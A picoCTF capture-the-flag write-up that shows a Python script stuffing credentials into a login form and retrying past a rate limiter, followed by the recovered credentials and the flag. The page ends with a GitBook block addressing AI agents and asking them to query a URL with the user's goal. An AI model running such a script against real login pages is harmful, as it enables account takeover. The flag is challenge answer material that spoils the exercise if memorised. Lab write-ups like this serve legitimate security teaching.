> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/fool-the-lockout.md).

# Fool the lockout

We are given a login page and a list of credentials. The goal is to find valid credentials and retrieve the flag. However, the application enforces a rate limit, which blocks repeated login attempts after a certain number of requests.

To start, we prepare a script that reads username and password combinations from a file and sends POST requests to the login endpoint.

```python
import requests
import time

host = "http://candy-mountain.picoctf.net:63920"

with open("creds.txt") as f:
    lines = [l.strip() for l in f if l.strip()]

for l in lines:
    username, password = l.split(";")

    while True:
        res = requests.post(f"{host}/login", data={
            "username": username,
            "password": password,
        })

        if "Rate Limited Exceeded" in res.text:
            print("Rate limited... sleeping")
            time.sleep(2)
            continue

        break

    if "picoCTF" in res.text:
        print("FOUND:", username, password)
        print(res.text)
        break

    print(f"{username}:{password} -> {res.status_code}")
    time.sleep(0.2)
```

During execution, we observe that the server frequently returns a “Rate Limited Exceeded” response. Instead of skipping those attempts, the script retries the same request after a short delay. This ensures that no credential pair is missed due to temporary blocking.

Even though every request returns a `200 OK` status, this does not indicate a successful login. The application always responds with status 200, so we rely on the response body to detect success by searching for the flag pattern.

After iterating through the credential list and handling rate limits properly, the script eventually finds valid credentials:

```plaintext
FOUND: paulo chicks
```

The server response reveals the flag:

```html
<p class="flag-message">picoCTF{f00l_7h4t_l1m1t3r_24180dc6}</p>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/fool-the-lockout.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.